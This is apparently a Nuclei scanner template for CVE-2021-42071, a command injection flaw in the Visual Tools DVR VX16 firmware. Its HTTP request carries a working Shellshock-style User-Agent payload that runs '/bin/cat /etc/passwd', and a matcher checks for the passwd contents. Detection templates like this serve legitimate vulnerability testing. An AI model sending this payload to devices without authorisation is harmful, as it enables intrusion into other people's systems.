49 lines
1.9 KiB
YAML
49 lines
1.9 KiB
YAML
id: CVE-2021-42071
|
|
|
|
info:
|
|
name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection
|
|
author: gy741
|
|
severity: critical
|
|
description: Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
|
|
impact: |
|
|
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the affected system.
|
|
remediation: |
|
|
Apply the latest security patch or update provided by the vendor to fix the command injection vulnerability in the Visual Tools DVR VX16 4.2.28.0 device.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/50098
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-42071
|
|
- https://visual-tools.com/
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-42071
|
|
cwe-id: CWE-78
|
|
epss-score: 0.95674
|
|
epss-percentile: 0.99369
|
|
cpe: cpe:2.3:o:visual-tools:dvr_vx16_firmware:4.2.28.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: visual-tools
|
|
product: dvr_vx16_firmware
|
|
tags: cve2021,cve,edb,visualtools,rce,oast,injection,visual-tools
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /cgi-bin/slogin/login.py HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022022bda7091e3540a34b2b907492621caf6c888488e538235ee18aff6324b08e5c022100e8f540a98d8d4a968c5aaef78722d234f0b39007f3ad5f349108f6eee417bd8f:922c64590222798bb761d5b6d8e72950 |